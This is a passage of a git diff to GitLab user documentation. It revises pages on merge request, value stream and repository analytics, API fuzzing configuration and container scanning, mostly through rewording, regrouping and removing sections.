-This feature is designed for [development team leaders](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#delaney-development-team-lead)
+This feature is designed for [development team leaders](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#delaney-development-team-lead)
and others who want to understand broad patterns in code review and productivity.
You can use Merge Request Analytics to expose when your team is most and least productive, and
@@ -36,7 +36,7 @@ Merge Request Analytics could be used when:
## Visualizations and data
-The following visualizations and data are available, representing all merge requests that were merged in the past 12 months.
+The following visualizations and data are available, representing all merge requests that were merged in the given date range.
### Throughput chart
@@ -46,7 +46,25 @@ The throughput chart shows the number of merge requests merged per month.
### Throughput table
-Data table displaying a maximum of the 100 most recent merge requests merged for the time period.
+[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232651) in GitLab 13.3.
+
+The Throughput table displays the most recent merge requests merged in the date range. The
+table displays up to 20 merge requests at a time. If there are more than 20 merge requests,
+you can paginate to them. For each merge request, you can review the following data:
+
+- Title (as a link to the merge request itself)
+- ID
+- Pipeline status
+- Label count
+- Comment count
+- Approval count (if approved)
+- Date merged
+- Time to merge
+- Milestone
+- Commit count
+- Pipeline count
+- Line change counts
+- Assignees
![Throughput table](img/mr_throughput_table_v13_3.png "Merge Request Analytics - Throughput table listing the 100 merge requests most recently merged")
@@ -68,6 +86,17 @@ To filter results:
1. Click on the filter bar.
1. Select a parameter to filter by.
1. Select a value from the autocompleted results, or enter search text to refine the results.
+1. Hit the "Return" key.
+
+## Date range
+
+The date range is set to the past 12 months by default. You can modify the date range by changing the "From" and/or "To" values that appear alongside the filter bar. After changing either value, the data displayed on the page will update automatically.
+
+## Tip: Bookmark preferred settings
+
+You can bookmark preferred filters and date ranges. After you have applied a change to the
+filter bar or the date range, you'll see that information in the URL. You can create a
+bookmark for those preferred settings in your browser.
## Permissions
diff --git a/doc/user/analytics/productivity_analytics.md b/doc/user/analytics/productivity_analytics.md
index da3fe00a901..633d7b35087 100644
--- a/doc/user/analytics/productivity_analytics.md
+++ b/doc/user/analytics/productivity_analytics.md
@@ -1,7 +1,7 @@
---
stage: Manage
-group: Value Stream Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Optimize
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Productivity Analytics **(PREMIUM)**
diff --git a/doc/user/analytics/repository_analytics.md b/doc/user/analytics/repository_analytics.md
index 3fc5478d466..f77070ea943 100644
--- a/doc/user/analytics/repository_analytics.md
+++ b/doc/user/analytics/repository_analytics.md
@@ -1,7 +1,7 @@
---
stage: Manage
-group: Value Stream Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Optimize
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Repository Analytics
@@ -23,7 +23,7 @@ The feature requires:
You can find Repository Analytics in the project's sidebar. To access the page, go to **{chart}** **Analytics > Repository**.
-NOTE: **Note:**
+NOTE:
Without a Git commit in the default branch, the menu item won't be visible.
### Charts
diff --git a/doc/user/analytics/value_stream_analytics.md b/doc/user/analytics/value_stream_analytics.md
index 244e37ba3ab..b5aecff5180 100644
--- a/doc/user/analytics/value_stream_analytics.md
+++ b/doc/user/analytics/value_stream_analytics.md
@@ -1,10 +1,10 @@
---
stage: Manage
-group: Value Stream Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Optimize
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Value Stream Analytics
+# Value Stream Analytics **(CORE)**
> - Introduced as Cycle Analytics prior to GitLab 12.3 at the project level.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12077) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.3 at the group level.
@@ -21,13 +21,10 @@ to uncover, triage, and identify the root cause of slowdowns in the software dev
For information on how to contribute to the development of Value Stream Analytics, see our [contributor documentation](../../development/value_stream_analytics.md).
-## Project Level Value Stream Analytics **(CORE)**
+Project-level Value Stream Analytics is available via **Project > Analytics > Value Stream**.
-Project Level Value Stream Analytics is available via **Project > Analytics > Value Stream**.
-
-## Group Level Value Stream Analytics **(PREMIUM)**
-
-From GitLab 12.9, group level Value Stream Analytics is available via **Group > Analytics > Value Stream**.
+NOTE:
+[Group-level Value Stream Analytics](../group/value_stream_analytics) is also available.
## Default stages
@@ -46,38 +43,15 @@ The stages tracked by Value Stream Analytics by default represent the [GitLab fl
- **Staging** (Continuous Deployment)
- Time between merging and deploying to production
-## Filter the analytics data
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13216) in GitLab 13.3
-
-GitLab provides the ability to filter analytics based on the following parameters:
-
-- Milestones (Group level)
-- Labels (Group level)
-- Author
-- Assignees
-
-To filter results:
-
-1. Select a group.
-1. Click on the filter bar.
-1. Select a parameter to filter by.
-1. Select a value from the autocompleted results, or type to refine the results.
-
-![Value stream analytics filter bar](img/vsa_filter_bar_v13.3.png "Active filter bar for value stream analytics")
-
-NOTE: **Note:**
-Filtering is available only for group-level Value Stream Analytics.
-
### Date ranges
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13216) in GitLab 12.4.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/36300) in GitLab 10.0.
-GitLab provides the ability to filter analytics based on a date range. To filter results:
+GitLab provides the ability to filter analytics based on a date range. To filter results, select one of these options:
-1. Select a group.
-1. Optionally select a project.
-1. Select a date range using the available date pickers.
+1. Last 7 days
+1. Last 30 days (default)
+1. Last 90 days
## How Time metrics are measured
@@ -86,9 +60,8 @@ The "Time" metrics near the top of the page are measured as follows:
- **Lead time**: median time from issue created to issue closed.
- **Cycle time**: median time from first commit to issue closed.
-Note: A commit is associated with an issue by [crosslinking](../project/issues/crosslinking_issues.md) in the commit message or by manually linking the merge request containing the commit.
-
-![Value stream analytics time metrics](img/vsa_time_metrics_v13_0.png "Time metrics for value stream analytics")
+NOTE:
+A commit is associated with an issue by [crosslinking](../project/issues/crosslinking_issues.md) in the commit message or by manually linking the merge request containing the commit.
## How the stages are measured
@@ -103,31 +76,30 @@ Each stage of Value Stream Analytics is further described in the table below.
| **Stage** | **Description** |
| --------- | --------------- |
-| Issue | Measures the median time between creating an issue and taking action to solve it, by either labeling it or adding it to a milestone, whatever comes first. The label will be tracked only if it already has an [Issue Board list](../project/issue_board.md) created for it. |
-| Plan | Measures the median time between the action you took for the previous stage, and pushing the first commit to the branch. The very first commit of the branch is the one that triggers the separation between **Plan** and **Code**, and at least one of the commits in the branch needs to contain the related issue number (e.g., `#42`). If none of the commits in the branch mention the related issue number, it is not considered to the measurement time of the stage. |
-| Code | Measures the median time between pushing a first commit (previous stage) and creating a merge request (MR) related to that commit. The key to keep the process tracked is to include the [issue closing pattern](../project/issues/managing_issues.md#closing-issues-automatically) to the description of the merge request (for example, `Closes #xxx`, where `xxx` is the number of the issue related to this merge request). If the closing pattern is not present, then the calculation takes the creation time of the first commit in the merge request as the start time. |
-| Test | Measures the median time to run the entire pipeline for that project. It's related to the time GitLab CI/CD takes to run every job for the commits pushed to that merge request defined in the previous stage. It is basically the start->finish time for all pipelines. |
-| Review | Measures the median time taken to review the merge request that has a closing issue pattern, between its creation and until it's merged. |
-| Staging | Measures the median time between merging the merge request with a closing issue pattern until the very first deployment to a [production environment](#how-the-production-environment-is-identified). If there isn't a production environment, this is not tracked. |
+| Issue | Measures the median time between creating an issue and taking action to solve it, by either labeling it or adding it to a milestone, whichever comes first. The label is tracked only if it already includes an [Issue Board list](../project/issue_board.md) created for it. |
+| Plan | Measures the median time between the action you took for the previous stage, and pushing the first commit to the branch. That first branch commit triggers the separation between **Plan** and **Code**, and at least one of the commits in the branch must include the related issue number (such as `#42`). If the issue number is *not* included in a commit, that data is not included in the measurement time of the stage. |
+| Code | Measures the median time between pushing a first commit (previous stage) and creating a merge request (MR). The process is tracked with the [issue closing pattern](../project/issues/managing_issues.md#closing-issues-automatically) in the description of the merge request. For example, if the issue is closed with `Closes #xxx`, it's assumed that `xxx` is issue number for the merge request). If there is no closing pattern, the start time is set to the create time of the first commit. |
+| Test | Essentially the start to finish time for all pipelines. Measures the median time to run the entire pipeline for that project. Related to the time required by GitLab CI/CD to run every job for the commits pushed to that merge request, as defined in the previous stage. |
+| Review | Measures the median time taken to review merge requests with a closing issue pattern, from creation to merge. |
+| Staging | Measures the median time between merging the merge request (with a closing issue pattern) to the first deployment to a [production environment](#how-the-production-environment-is-identified). Data not collected without a production environment. |
How this works, behind the scenes:
-1. Issues and merge requests are grouped together in pairs, such that for each
- `<issue, merge request>` pair, the merge request has the [issue closing pattern](../project/issues/managing_issues.md#closing-issues-automatically)
- for the corresponding issue. All other issues and merge requests are **not**
- considered.
-1. Then the `<issue, merge request>` pairs are filtered out by last XX days (specified
- by the UI - default is 90 days). So it prohibits these pairs from being considered.
-1. For the remaining `<issue, merge request>` pairs, we check the information that
- we need for the stages, like issue creation date, merge request merge time,
- etc.
+1. Issues and merge requests are grouped in pairs, where the merge request has the
+ [closing pattern](../project/issues/managing_issues.md#closing-issues-automatically)
+ for the corresponding issue. Issue/merge request pairs without closing patterns are
+ **not** included.
+1. Issue/merge request pairs are filtered by the last XX days, specified through the UI
+ (default = 90 days). Pairs outside the filtered range are not included.
+1. For the remaining pairs, review information needed for stages, including
+ issue creation date, merge request merge time, and so on.
-To sum up, anything that doesn't follow [GitLab flow](../../topics/gitlab_flow.md) will not be tracked and the
-Value Stream Analytics dashboard will not present any data for:
+In short, the Value Stream Analytics dashboard tracks data related to [GitLab flow](../../topics/gitlab_flow.md). It does not include data for:
- Merge requests that do not close an issue.
-- Issues not labeled with a label present in the Issue Board or for issues not assigned a milestone.
-- Staging stage, if the project has no [production environment](#how-the-production-environment-is-identified).
+- Issues that do not include labels present in the Issue Board
+- Issues without a milestone.
+- Staging stages, in projects without a [production environment](#how-the-production-environment-is-identified).
## How the production environment is identified
@@ -165,8 +137,7 @@ environments is configured.
1. Now that the merge request is merged, a deployment to the `production`
environment starts and finishes at 19:30 (stop of **Staging** stage).
-From the above example you can conclude the time it took each stage to complete
-as long as their total time:
+From the above example we see the time used for each stage:
- **Issue**: 2h (11:00 - 09:00)
- **Plan**: 1h (12:00 - 11:00)
@@ -175,203 +146,20 @@ as long as their total time:
- **Review**: 5h (19:00 - 14:00)
- **Staging**: 30min (19:30 - 19:00)
-A few notes:
-
-- In the above example we demonstrated that it doesn't matter if your first
- commit doesn't mention the issue number, you can do this later in any commit
- of the branch you are working on.
-- You can see that the **Test** stage is not calculated to the overall time of
- the cycle since it is included in the **Review** process (every MR should be
- tested).
-- The example above was just **one cycle** of the seven stages. Add multiple
- cycles, calculate their median time and the result is what the dashboard of
- Value Stream Analytics is showing.
-
-## Customizable Value Stream Analytics **(PREMIUM)**
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12196) in GitLab 12.9.
-
-The default stages are designed to work straight out of the box, but they might not be suitable for
-all teams. Different teams use different approaches to building software, so some teams might want
-to customize their Value Stream Analytics.
-
-GitLab allows users to create multiple value streams, hide default stages and create custom stages that align better to their development workflow.
-
-NOTE: **Note:**
-Customizability is [only available for group-level](https://gitlab.com/gitlab-org/gitlab/-/issues/35823#note_272558950) Value Stream Analytics.
-
-### Stage path
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210315) in GitLab 13.0.
-
-Stages are visually depicted as a horizontal process flow. Selecting a stage will update the
-the content below the value stream.
-
-This is disabled by default. If you have a self-managed instance, an
-administrator can [open a Rails console](../../administration/troubleshooting/navigating_gitlab_via_rails_console.md)
-and enable it with the following command:
-
-```ruby
-Feature.enable(:value_stream_analytics_path_navigation)
-```
-
-### Adding a stage
-
-In the following example we're creating a new stage that measures and tracks issues from creation
-time until they are closed.
-
-1. Navigate to your group's **Analytics > Value Stream**.
-1. Click the **Add a stage** button.
-1. Fill in the new stage form:
- - Name: Issue start to finish.
- - Start event: Issue created.
- - End event: Issue closed.
-1. Click the **Add stage** button.
-
-![New Value Stream Analytics Stage](img/new_vsm_stage_v12_9.png "Form for creating a new stage")
-
-The new stage is persisted and it will always show up on the Value Stream Analytics page for your
-group.
-
-If you want to alter or delete the stage, you can easily do that for customized stages by:
-
-1. Hovering over the stage.
-1. Clicking the vertical ellipsis (**{ellipsis_v}**) button that appears.
-
-![Value Stream Analytics Stages](img/vsm_stage_list_v12_9.png)
-
-Creating a custom stage requires specifying two events:
-
-- A start.
-- An end.
-
-Be careful to choose a start event that occurs *before* your end event. For example, consider a
-stage that:
-
-- Started when an issue is added to a board.
-- Ended when the issue is created.
-
-This stage would not work because the end event has already happened when the start event occurs.
-To prevent such invalid stages, the UI prohibits incompatible start and end events. After you select
-the start event, the stop event dropdown will only list the compatible events.
-
-### Re-ordering stages
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196698) in GitLab 12.10.
-
-Once a custom stage has been added, you can "drag and drop" stages to rearrange their order. These changes are automatically saved to the system.
-
-### Label based stages
+More information:
-The pre-defined start and end events can cover many use cases involving both issues and merge requests.
-
-For supporting more complex workflows, use stages based on group labels. These events are based on
-labels being added or removed. In particular, [scoped labels](../project/labels.md#scoped-labels)
-are useful for complex workflows.
-
-In this example, we'd like to measure more accurate code review times. The workflow is the following:
-
-- When the code review starts, the reviewer adds `workflow::code_review_start` label to the merge request.
-- When the code review is finished, the reviewer adds `workflow::code_review_complete` label to the merge request.
-
-Creating a new stage called "Code Review":
-
-![New Label Based Value Stream Analytics Stage](img/label_based_stage_vsm_v12_9.png "Creating a label based Value Stream Analytics Stage")
-
-### Hiding unused stages
-
-Sometimes certain default stages are not relevant to a team. In this case, you can easily hide stages
-so they no longer appear in the list. To hide stages:
-
-1. Add a custom stage to activate customizability.
-1. Hover over the default stage you want to hide.
-1. Click the vertical ellipsis (**{ellipsis_v}**) button that appears and select **Hide stage**.
-
-To recover a default stage that was previously hidden:
-
-1. Click **Add a stage** button.
-1. In the top right corner open the **Recover hidden stage** dropdown.
-1. Select a stage.
-
-### Creating a value stream
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221202) in GitLab 13.3
-
-A default value stream is readily available for each group. You can create additional value streams based on the different areas of work that you would like to measure.
-
-Once created, a new value stream includes the [seven stages](#default-stages) that follow
-[GitLab workflow](../../topics/gitlab_flow.md)
-best practices. You can customize this flow by adding, hiding or re-ordering stages.
-
-To create a value stream:
-
-1. Navigate to your group's **Analytics > Value Stream**.
-1. Click the Value stream dropdown and select **Create new Value Stream**
-1. Fill in a name for the new Value Stream
-1. Click the **Create Value Stream** button.
-
-![New value stream](img/new_value_stream_v13_3.png "Creating a new value stream")
-
-### Deleting a value stream
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221205) in GitLab 13.4.
-
-To delete a custom value stream:
-
-1. Navigate to your group's **Analytics > Value Stream**.
-1. Click the Value stream dropdown and select the value stream you would like to delete.
-1. Click the **Delete (name of value stream)**.
-1. Click the **Delete** button to confirm.
-
-![Delete value stream](img/delete_value_stream_v13.4.png "Deleting a custom value stream")
-
-### Disabling custom value streams
-
-Custom value streams are enabled by default. If you have a self-managed instance, an
-administrator can open a Rails console and disable them with the following command:
-
-```ruby
-Feature.disable(:value_stream_analytics_create_multiple_value_streams)
-```
-
-## Days to completion chart
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21631) in GitLab 12.6.
-> - [Chart median line removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235455) in GitLab 13.4.
-
-This chart visually depicts the total number of days it takes for cycles to be completed. (Totals are being replaced with averages in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/262070).)
-
-This chart uses the global page filters for displaying data based on the selected
-group, projects, and timeframe. In addition, specific stages can be selected
-from within the chart itself.
-
-The chart data is limited to the last 500 items.
-
-### Disabling chart
-
-This chart is enabled by default. If you have a self-managed instance, an
-administrator can open a Rails console and disable it with the following command:
-
-```ruby
-Feature.disable(:cycle_analytics_scatterplot_enabled)
-```
-
-## Type of work - Tasks by type chart
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32421) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.10.
-
-This chart shows a cumulative count of issues and merge requests per day.
-
-This chart uses the global page filters for displaying data based on the selected
-group, projects, and timeframe. The chart defaults to showing counts for issues but can be
-toggled to show data for merge requests and further refined for specific group-level labels.
-
-By default the top group-level labels (max. 10) are pre-selected, with the ability to
-select up to a total of 15 labels.
+- The above example specifies the issue number in a latter commit. The process
+ still collects analytics data for that issue.
+- The time required in the **Test** stage is not included in the overall time of
+ the cycle. It is included in the **Review** process, as every MR should be
+ tested.
+- The example above illustrates only **one cycle** of the multiple stages. Value
+ Stream Analytics, on its dashboard, shows the calculated median elapsed time
+ for these issues.
## Permissions
-The current permissions on the Project Value Stream Analytics dashboard are:
+The current permissions on the Project-level Value Stream Analytics dashboard are:
- Public projects - anyone can access.
- Internal projects - any authenticated user can access.
@@ -379,9 +167,6 @@ The current permissions on the Project Value Stream Analytics dashboard are:
You can [read more about permissions](../../user/permissions.md) in general.
-For Value Stream Analytics functionality introduced in GitLab 12.3 and later,
-users must have Reporter access or above.
-
## More resources
Learn more about Value Stream Analytics in the following resources:
diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md
index 57c5f8bc1fa..09e38d5048f 100644
--- a/doc/user/application_security/api_fuzzing/index.md
+++ b/doc/user/application_security/api_fuzzing/index.md
@@ -1,7 +1,7 @@
---
stage: Secure
group: Fuzz Testing
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -139,7 +139,7 @@ This is a minimal configuration for API Fuzzing. From here you can:
- [Add authentication](#authentication).
- Learn how to [handle false positives](#handling-false-positives).
-DANGER: **Warning:**
+WARNING:
**NEVER** run fuzz testing against a production server. Not only can it perform *any* function that
the API can, it may also trigger bugs in the API. This includes actions like modifying and deleting
data. Only run fuzzing against a test server.
@@ -147,7 +147,7 @@ data. Only run fuzzing against a test server.
### HTTP Archive (HAR)
The [HTTP Archive format (HAR)](http://www.softwareishard.com/blog/har-12-spec/)
-is an archive file format for logging HTTP transactions. When used with GitLab's API fuzzer, HAR
+is an archive file format for logging HTTP transactions. When used with the GitLab API fuzzer, HAR
must contain records of calling the web API to test. The API fuzzer extracts all the requests and
uses them to perform testing.
@@ -155,10 +155,10 @@ You can use various tools to generate HAR files:
- [Fiddler](https://www.telerik.com/fiddler): Web debugging proxy
- [Insomnia Core](https://insomnia.rest/): API client
-- [Chrome](https://www.google.com/chrome): Browser
+- [Chrome](https://www.google.com/chrome/): Browser
- [Firefox](https://www.mozilla.org/en-US/firefox/): Browser
-DANGER: **Warning:**
+WARNING:
HAR files may contain sensitive information such as authentication tokens, API keys, and session
cookies. We recommend that you review the HAR file contents before adding them to a repository.
@@ -230,7 +230,7 @@ This is a minimal configuration for API Fuzzing. From here you can:
- [Add authentication](#authentication).
- Learn how to [handle false positives](#handling-false-positives).
-DANGER: **Warning:**
+WARNING:
**NEVER** run fuzz testing against a production server. Not only can it perform *any* function that
the API can, it may also trigger bugs in the API. This includes actions like modifying and deleting
data. Only run fuzzing against a test server.
@@ -243,11 +243,11 @@ developers and testers use to call various types of APIs. The API definitions
for use with API Fuzzing. When exporting, make sure to select a supported version of Postman
Collection: v2.0 or v2.1.
-When used with GitLab's API fuzzer, Postman Collections must contain definitions of the web API to
+When used with the GitLab API fuzzer, Postman Collections must contain definitions of the web API to
test with valid data. The API fuzzer extracts all the API definitions and uses them to perform
testing.
-DANGER: **Warning:**
+WARNING:
Postman Collection files may contain sensitive information such as authentication tokens, API keys,
and session cookies. We recommend that you review the Postman Collection file contents before adding
them to a repository.
@@ -321,7 +321,7 @@ This is a minimal configuration for API Fuzzing. From here you can:
- [Add authentication](#authentication).
- Learn how to [handle false positives](#handling-false-positives).
-DANGER: **Warning:**
+WARNING:
**NEVER** run fuzz testing against a production server. Not only can it perform *any* function that
the API can, it may also trigger bugs in the API. This includes actions like modifying and deleting
data. Only run fuzzing against a test server.
@@ -488,24 +488,24 @@ increases as the numbers go up. To use a configuration file, add it to your repo
| Environment variable | Description |
|-----------------------------|--------------------|
-| `FUZZAPI_VERSION` |Specify API Fuzzing container version. Defaults to `latest`. |
-| `FUZZAPI_TARGET_URL` |Base URL of API testing target. |
-|[`FUZZAPI_CONFIG`](#configuration-files)|API Fuzzing configuration file. Defaults to `.gitlab-apifuzzer.yml`. |
-|[`FUZZAPI_PROFILE`](#configuration-files)|Configuration profile to use during testing. Defaults to `Quick`. |
-| `FUZZAPI_REPORT` |Scan report filename. Defaults to `gl-api_fuzzing-report.xml`. |
-|[`FUZZAPI_OPENAPI`](#openapi-specification)|OpenAPI specification file or URL. |
-|[`FUZZAPI_HAR`](#http-archive-har)|HTTP Archive (HAR) file. |
-|[`FUZZAPI_POSTMAN_COLLECTION`](#postman-collection)|Postman Collection file. |
-|[`FUZZAPI_OVERRIDES_FILE`](#overrides) |Path to a JSON file containing overrides. |
-|[`FUZZAPI_OVERRIDES_ENV`](#overrides) |JSON string containing headers to override. |
-|[`FUZZAPI_OVERRIDES_CMD`](#overrides) |Overrides command. |
-|[`FUZZAPI_OVERRIDES_INTERVAL`](#overrides) |How often to run overrides command in seconds. Defaults to `0` (once). |
-|[`FUZZAPI_HTTP_USERNAME`](#http-basic-authentication) |Username for HTTP authentication. |
-|[`FUZZAPI_HTTP_PASSWORD`](#http-basic-authentication) |Password for HTTP authentication. |
+| `FUZZAPI_VERSION` | Specify API Fuzzing container version. Defaults to `latest`. |
+| `FUZZAPI_TARGET_URL` | Base URL of API testing target. |
+|[`FUZZAPI_CONFIG`](#configuration-files) | API Fuzzing configuration file. Defaults to `.gitlab-apifuzzer.yml`. |
+|[`FUZZAPI_PROFILE`](#configuration-files) | Configuration profile to use during testing. Defaults to `Quick`. |
+| `FUZZAPI_REPORT` | Scan report filename. Defaults to `gl-api_fuzzing-report.xml`. |
+|[`FUZZAPI_OPENAPI`](#openapi-specification) | OpenAPI specification file or URL. |
+|[`FUZZAPI_HAR`](#http-archive-har) | HTTP Archive (HAR) file. |
+|[`FUZZAPI_POSTMAN_COLLECTION`](#postman-collection) | Postman Collection file. |
+|[`FUZZAPI_OVERRIDES_FILE`](#overrides) | Path to a JSON file containing overrides. |
+|[`FUZZAPI_OVERRIDES_ENV`](#overrides) | JSON string containing headers to override. |
+|[`FUZZAPI_OVERRIDES_CMD`](#overrides) | Overrides command. |
+|[`FUZZAPI_OVERRIDES_INTERVAL`](#overrides) | How often to run overrides command in seconds. Defaults to `0` (once). |
+|[`FUZZAPI_HTTP_USERNAME`](#http-basic-authentication) | Username for HTTP authentication. |
+|[`FUZZAPI_HTTP_PASSWORD`](#http-basic-authentication) | Password for HTTP authentication. |
<!--|[`FUZZAPI_D_TARGET_IMAGE`](#target-container) |API target docker image |
|[`FUZZAPI_D_TARGET_ENV`](#target-container) |Docker environment options |
-|[`FUZZAPI_D_TARGET_VOLUME`](#target-container)|Docker volume options |
+|[`FUZZAPI_D_TARGET_VOLUME`](#target-container) | Docker volume options |
|[`FUZZAPI_D_TARGET_PORTS`](#target-container) |Docker port options |
| `FUZZAPI_D_WORKER_IMAGE` |Custom worker docker image |
| `FUZZAPI_D_WORKER_ENV` |Custom worker docker environment options |
@@ -720,45 +720,43 @@ Repeat this configuration for each profile as needed.
## Running your first scan
-When configured correctly, a CI/CD pipeline contains a `Fuzz` stage and a `apifuzzer_fuzz` job. The
-job only fails when an invalid configuration is provided. During normal operation, the job always
-succeeds even if faults are identified during fuzz testing.
+When configured correctly, a CI/CD pipeline contains a `fuzz` stage and an `apifuzzer_fuzz` or
+`apifuzzer_fuzz_dnd` job. The job only fails when an invalid configuration is provided. During
+normal operation, the job always succeeds even if faults are identified during fuzz testing.
-Faults are displayed on the **Tests** pipeline tab with the suite name **API-Fuzzing**. The **Name**
-field on the **Tests** page includes the fuzz-tested operation and parameter. The **Trace** field
-contains a writeup of the identified fault. This writeup contains information on what the fuzzer
-tested and how it detected something wrong.
+Faults are displayed on the **Security** pipeline tab with the suite name. When testing against the
+repositories default branch, the fuzzing faults are also shown on the Security & Compliance's
+Vulnerability Report page.
To prevent an excessive number of reported faults, the API fuzzing scanner limits the number of
-faults it reports to one per parameter.
-
-### Fault Writeup
-
-The faults that API fuzzing finds aren't associated with a specific vulnerability type. They require
-investigation to determine what type of issue they are and if they should be fixed. See
-[handling false positives](#handling-false-positives) for information about configuration changes
-you can make to limit the number of false positives reported.
-
-This table contains a description of fields in an API fuzzing fault writeup.
-
-| Writeup Item | Description |
-|:-------------|:------------|
-| Operation | The operation tested. |
-| Parameter | The field modified. This can be a path segment, header, query string, or body element. |
-| Endpoint | The endpoint being tested. |
-| Check | Check module producing the test. Checks can be turned on and off. |
-| Assert | Assert module that detected a failure. Assertions can be configured and turned on and off. |
-| CWE | Fuzzing faults always have the same CWE. |
-| OWASP | Fuzzing faults always have the same OWASP ID. |
-| Exploitability | Fuzzing faults always have an `unknown` exploitability. |
-| Impact | Fuzzing faults always have an `unknown` risk impact. |
-| Description | Verbose description of what the check did. Includes the original parameter value and the modified (mutated) value. |
-| Detection | Why a failure was detected and reported. This is related to the Assert that was used. |
-| Original Request | The original, unmodified HTTP request. Useful when reviewing the actual request to see what changes were made. |
-| Actual Request | The request that produced the failure. This request has been modified in some way by the Check logic. |
-| Actual Response | The response to the actual request. |
-| Recorded Request | An unmodified request. |
-| Recorded Response | The response to the unmodified request. You can compare this with the actual request when triaging this fault. |
+faults it reports.
+
+## Viewing fuzzing faults
+
+The API Fuzzing analyzer produces a JSON report that is collected and used
+[to populate the faults into GitLab vulnerability screens](../index.md#view-details-of-an-api-fuzzing-vulnerability).
+Fuzzing faults show up as vulnerabilities with a severity of Unknown.
+
+The faults that API fuzzing finds require manual investigation and aren't associated with a specific
+vulnerability type. They require investigation to determine if they are a security issue, and if
+they should be fixed. See [handling false positives](#handling-false-positives)
+for information about configuration changes you can make to limit the number of false positives
+reported.
+
+For additional information, see
+[View details of an API Fuzzing vulnerability](../index.md#view-details-of-an-api-fuzzing-vulnerability).
+
+### Security Dashboard
+
+Fuzzing faults show up as vulnerabilities with a severity of Unknown. The Security Dashboard is a
+good place to get an overview of all the security vulnerabilities in your groups, projects and
+pipelines. For more information, see the [Security Dashboard documentation](../security_dashboard/index.md).
+
+### Interacting with the vulnerabilities
+
+Fuzzing faults show up as vulnerabilities with a severity of Unknown.
+Once a fault is found, you can interact with it. Read more on how to
+[interact with the vulnerabilities](../index.md#interacting-with-the-vulnerabilities).
## Handling False Positives
diff --git a/doc/user/application_security/compliance_dashboard/index.md b/doc/user/application_security/compliance_dashboard/index.md
index d9af9d66c36..383d2bf2df7 100644
--- a/doc/user/application_security/compliance_dashboard/index.md
+++ b/doc/user/application_security/compliance_dashboard/index.md
@@ -3,3 +3,6 @@ redirect_to: '../../compliance/compliance_dashboard/index.md'
---
This document was moved to [another location](../../compliance/compliance_dashboard/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/application_security/configuration/index.md b/doc/user/application_security/configuration/index.md
index ead34ca227e..fe21fdc1f15 100644
--- a/doc/user/application_security/configuration/index.md
+++ b/doc/user/application_security/configuration/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Secure
group: Static Analysis
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Security Configuration **(ULTIMATE)**
diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md
index eef15a9c424..9bde2c28972 100644
--- a/doc/user/application_security/container_scanning/index.md
+++ b/doc/user/application_security/container_scanning/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Protect
group: Container Security
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Container Scanning **(ULTIMATE)**
@@ -14,7 +14,7 @@ vulnerabilities. By including an extra job in your pipeline that scans for those
displays them in a merge request, you can use GitLab to audit your Docker-based apps.
By default, container scanning in GitLab is based on [Clair](https://github.com/quay/clair) and
[Klar](https://github.com/optiopay/klar), which are open-source tools for vulnerability static analysis in
-containers. [GitLab's Klar analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/klar/)
+containers. The GitLab [Klar analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/klar/)
scans the containers and serves as a wrapper for Clair.
To integrate security scanners other than Clair and Klar into GitLab, see
@@ -43,6 +43,7 @@ To enable container scanning in your pipeline, you need the following:
or [`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor.
- Docker `18.09.03` or higher installed on the same computer as the runner. If you're using the
shared runners on GitLab.com, then this is already the case.
